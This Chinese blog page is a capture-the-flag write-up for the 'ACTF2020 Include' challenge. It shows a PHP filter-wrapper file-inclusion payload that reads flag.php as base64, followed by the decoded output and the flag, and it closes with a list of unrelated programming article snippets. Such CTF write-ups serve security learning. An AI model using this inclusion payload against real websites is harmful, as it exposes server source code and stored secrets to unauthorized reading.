当前位置： 首页 > news >正文

[ACTF2020 新生赛]Include 1

news 2026/2/10 10:28:11

题目环境：
image.png
超链接，点进去看看
image.png
你能找到flag吗？
除了这些网页什么都没有，但是不当紧，因为我们有一双善于发现的眼睛👀
F12瞅瞅
image.png
无，并无其他
等等URL看了吗？
image.png
发现存在一个参数file，并且已经给出flag.php文件了
主题题目名称Include，意为文件包含，大部分文件包含都要用到PHP伪协议
通过PHP伪协议构造payload：
URL/?file=php:filter/read=convert.base64-encode/resource=flag.php

通过PHP伪协议读取flag.php文件，并通过base64编码格式显示出来
想要了解更多PHP伪协议可以看我这篇同类题目，希望对大家的学习有所帮助

fileclude-CTF 解题思路-CSDN博客
回显结果：
image.png
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NDAwZjJiYzYtOGI2Mi00NWEyLTg1ZDQtMmVkYzU0MjY4MTU0fQo=
base64解码一把梭
image.png
得出flag：
**flag{400f2bc6-8b62-45a2-85d4-2edc54268154}**

相关文章：

[ACTF2020 新生赛]Include 1

题目环境：超链接，点进去看看你能找到flag吗？除了这些网页什么都没有，但是不当紧，因为我们有一双善于发现的眼睛👀F12瞅瞅无，并无其他等等URL看了吗？发现存在一个参数file&#xff0c…...

编程日记 2023/10/25 14:03:59

教师必备宝藏，强烈推荐

亲爱的教师朋友们，你们是不是在为学期末成绩查询而头疼呢？一学期下来，成堆的试卷和成绩单，还有学生家长的各种咨询，让人应接不暇。现在，我给你们分享一个教师必备的宝藏，让你们的成绩查询工作变…...

编程日记 2023/10/25 14:02:59

「北大社送书」学习MATLAB—从算法到实战

MATLAB科学计算从入门到精通 一句话推荐书籍特色内容简介书籍概览 从代码到函数，从算法到实战，从问题到应用，由浅入深掌握科学计算方法，高效解决实际问题。 一句话推荐 科学计算基础入门，高效解决实际问题。 书籍特色…...

编程日记 2023/10/25 14:01:58

clion安装C++远程linux开发并调试 从装centos虚拟机到完美开发调试

下载镜像 阿里云镜像 从vmware上安装虚拟机并提权开放ssh 更新编译环境 一般 gcc gdb 版本都是比较低的，适配不了clion的最低要求。 升级gdb参考博客 升级gcc参考博客 安装CMAKE 官方的源使用wget即可下载 未找到openssl的解决办法 注意版本，又踩个…...

编程日记 2023/10/25 14:00:57

Android笔记

目录 触摸事件java弱引用WorkerThread注解NonNull注解camera.setFrameProcessingFormat(ImageFormat.YUV_420_888);YUV_420_888的字节数据长啥样YUV_420_888的字节数组长啥样 触摸事件 java弱引用 创建对象的弱引用，在没有强引用指向改对象的情况下，垃圾…...

编程日记 2023/10/25 13:59:56

Java虚拟机内存区域、异常、垃圾收集器

java虚拟机 java内存区域 jvm的主要组成部分及作用 主要包含两个子系统和两个组件 子系统 类加载器（Class loader）：根据给定的类路径来装载class文件到运行时数据区 …...

编程日记 2023/10/25 13:58:55

深入理解JVM虚拟机第十三篇：详解JVM中的程序计数器

文章目录 一：程序计数器 1：概念 2：官方说法 3：图解 4：特点...

编程日记 2023/10/25 13:57:54

《合成孔径雷达成像算法与实现》Figure5.5

clc clear close all%% 参数设置 Ta 64; % 脉冲持续时间 Ka -1.56e-2; % 方位向调频率 Delta_f_dop abs(Ta*Ka); …...

编程日记 2023/10/25 13:56:53

leetcode经典面试150题---2.移除元素

题目描述 给你一个数组 nums 和一个值 val，你需要 原地 移除所有数值等于 val 的元素，并返回移除后数组的新长度。 不要使用额外的数组空间，你必须仅使用 O(1) 额外空间并 原地 修改输入数组。 元素的顺序可以改变。你不需要考虑数组中超出新…...

编程日记 2023/10/25 13:55:52

【尘缘赠书活动：01期】Python数据挖掘——入门进阶与实用案例分析

引言 本案例将根据已收集到的电力数据，深度挖掘各电力设备的电流、电压和功率等情况，分析各电力设备的实际用电量，进而为电力公司制定电能能源策略提供一定的参考依据。更多详细内容请参考**《Python数据挖掘：入门进阶与实用案例…...

编程日记 2023/10/25 13:54:51

计算机网络(谢希仁)第八版课后题答案(第二章)

1.物理层要解决哪些问题？物理层的主要特点是什么？ (1)物理层要尽可能地屏蔽掉物理设备和传输媒体，通信手段的不同，使数据链路层感觉不到这些差异，只考虑完成本层的协议和服务。 (2)给其服务用户（数据链路…...

编程日记 2023/10/25 13:53:50

搭建nuxt3项目（框架构建）

需求 目标：我想搭建一个nuxt3的框架，实现一些基本的组件和路由、页面，方便后续遇到相关ssr项目直接复用。 同时：记录关于nuxt3的使用介绍关于Nuxt（详解以及周边） Nuxt 框架 1、一种基于 Node.js 的服务端…...

编程日记 2023/10/25 13:52:49

系统架构设计之微内核架构（Microkernel Architecture）

微内核架构（Microkernel Architecture） 一. 什么是微内核架构二. 微内核架构风格-拓扑结构三. 微内核的核心系统设计的三个关键点3.1 插件管理3.2 插件连接3.3 插件通信 四. 微内核架构的优缺点 一. 什么是微内核架构 微内核架构是一种面向功能进行拆分的…...

编程日记 2023/10/25 13:51:48

51单片机实现换能器超声波测水深

一，超声波换能器定义： 定义1：可把电能、机械能或声能从一种形式转换为另一种形式的能的装置。 所属学科：测绘学下的测绘仪器。 定义2：能量转换的器件。在水声领域中常把声呐换能器、水声换能器、电声换能器统称换能器。…...

编程日记 2023/10/25 13:49:44

Spring Cloud Config

Spring Cloud Config 服务端:一个集中化配置中心,可以是一个独立的服务,也可以注册到服务治理中心,它可以集中管理各个 微服务的配置; 作用原理是从某个地方读取(本地/云端)提供给其客户端作为配置; 客户端:作为一个服务端,通过读取Config的服务端来获取自己的配置文件; 服务…...

编程日记 2023/10/25 13:48:43

易基因： Nature Biotech：番茄细菌性青枯病的噬菌体联合治疗｜国人佳作

大家好，这里是专注表观组学十余年，领跑多组学科研服务的易基因。 生物防治是利用细菌接种剂来改变植物根际微生物群落的组成，但在以往研究中存在有接种的细菌在根际建立不良，与本地微生物组争夺资源，干扰本地微生物的…...

编程日记 2023/10/25 13:47:42

震坤行亮相2023工博会，并荣获第23届中国工博会“CIIF信息技术奖”

震坤行亮相2023工博会，并荣获第23届中国工博会“CIIF信息技术奖” 2023年9月19日，2023年第23届中国国际工业博览会CIIF（以下简称“工博会”）在上海国家会展中心盛大开幕。震坤行紧跟智能制造产业发展步伐，携数字化解决…...

编程日记 2023/10/25 13:46:41

灯带代码实现

#include "FastLED.h" // FastLED库#define NUM_LEDS 60 // LED灯珠数量 #define DATA_PIN 3 // Arduino输出控制信号引脚 #define LED_TYPE WS2812 // LED灯带型号 #define COLOR_ORDER GRB // RGB灯珠中红色、…...

编程日记 2023/10/25 13:45:40

Monocular arbitrary moving object discovery and segmentation 论文阅读

基本信息 题目：Monocular Arbitrary Moving Object Discovery and Segmentation 作者： 来源：BMVC 时间：2021 代码地址：https://github.com/michalneoral/Raptor Abstract 我们提出了一种发现和分割场景中独立移动的…...

编程日记 2023/10/25 13:44:39

ROS | 命名空间

文章目录 概述一、定义介绍二、原理解读1.命名空间2.调用规则概述 本节详细介绍了ROS中的命名空间机制原理和使用。 一、定义介绍 在ROS（Robot Operating System）中，命名空间是一种用于组织和区分节点、话题、服务和参数等资源的层次结构。命名空间使用斜线（/）作为分隔符…...

编程日记 2023/10/25 13:43:38

深入浅出Asp.Net Core MVC应用开发系列-AspNetCore中的日志记录

ASP.NET Core 是一个跨平台的开源框架，用于在 Windows、macOS 或 Linux 上生成基于云的新式 Web 应用。 ASP.NET Core 中的日志记录 .NET 通过 ILogger API 支持高性能结构化日志记录，以帮助监视应用程序行为和诊断问题。 可以通过配置不同的记录提供程…...

编程新知 2026/2/8 4:37:06

【kafka】Golang实现分布式Masscan任务调度系统

要求： 输出两个程序，一个命令行程序（命令行参数用flag）和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽，然后将消息推送到kafka里面。 服务端程序： 从kafka消费者接收…...

编程新知 2026/2/8 20:41:58

mongodb源码分析session执行handleRequest命令find过程

mongo/transport/service_state_machine.cpp已经分析startSession创建ASIOSession过程，并且验证connection是否超过限制ASIOSession和connection是循环接受客户端命令，把数据流转换成Message，状态转变流程是：State::Created 》 St…...

编程新知 2026/1/15 4:39:38

STM32标准库-DMA直接存储器存取

文章目录 一、DMA1.1简介1.2存储器映像1.3DMA框图1.4DMA基本结构1.5DMA请求1.6数据宽度与对齐1.7数据转运DMA1.8ADC扫描模式DMA 二、数据转运DMA2.1接线图2.2代码2.3相关API 一、DMA 1.1简介 DMA（Direct Memory Access）直接存储器存取 DMA可以提供外设…...

编程新知 2026/1/26 10:55:51

解决本地部署 SmolVLM2 大语言模型运行 flash-attn 报错

出现的问题 安装 flash-attn 会一直卡在 build 那一步或者运行报错 解决办法 是因为你安装的 flash-attn 版本没有对应上，所以报错，到 https://github.com/Dao-AILab/flash-attention/releases 下载对应版本，cu、torch、cp 的版本一定要对…...

编程新知 2025/11/3 2:11:24

C# SqlSugar：依赖注入与仓储模式实践

C# SqlSugar：依赖注入与仓储模式实践 在 C# 的应用开发中，数据库操作是必不可少的环节。为了让数据访问层更加简洁、高效且易于维护，许多开发者会选择成熟的 ORM（对象关系映射）框架，SqlSugar 就是其中备受…...

编程新知 2025/11/25 6:49:02

Android15默认授权浮窗权限

我们经常有那种需求，客户需要定制的apk集成在ROM中，并且默认授予其【显示在其他应用的上层】权限，也就是我们常说的浮窗权限，那么我们就可以通过以下方法在wms、ams等系统服务的systemReady()方法中调用即可实现预置应用默认授权浮…...

编程新知 2026/2/1 4:13:59

以光量子为例，详解量子获取方式

光量子技术获取量子比特可在室温下进行。该方式有望通过与名为硅光子学（silicon photonics）的光波导（optical waveguide）芯片制造技术和光纤等光通信技术相结合来实现量子计算机。量子力学中，光既是波又是粒子。光子本…...

编程新知 2026/2/7 11:51:32

python报错No module named ‘tensorflow.keras‘

是由于不同版本的tensorflow下的keras所在的路径不同，结合所安装的tensorflow的目录结构修改from语句即可。 原语句： from tensorflow.keras.layers import Conv1D, MaxPooling1D, LSTM, Dense 修改后： from tensorflow.python.keras.lay…...

编程新知 2025/9/24 7:39:50

视频行为标注工具BehaviLabel（源码+使用介绍+Windows.Exe版本）

前言： 最近在做行为检测相关的模型，用的是时空图卷积网络（STGCN），但原有kinetic-400数据集数据质量较低，需要进行细粒度的标注，同时粗略搜了下已有开源工具基本都集中于图像分割这块&#xff0c…...

编程新知 2026/2/6 5:04:18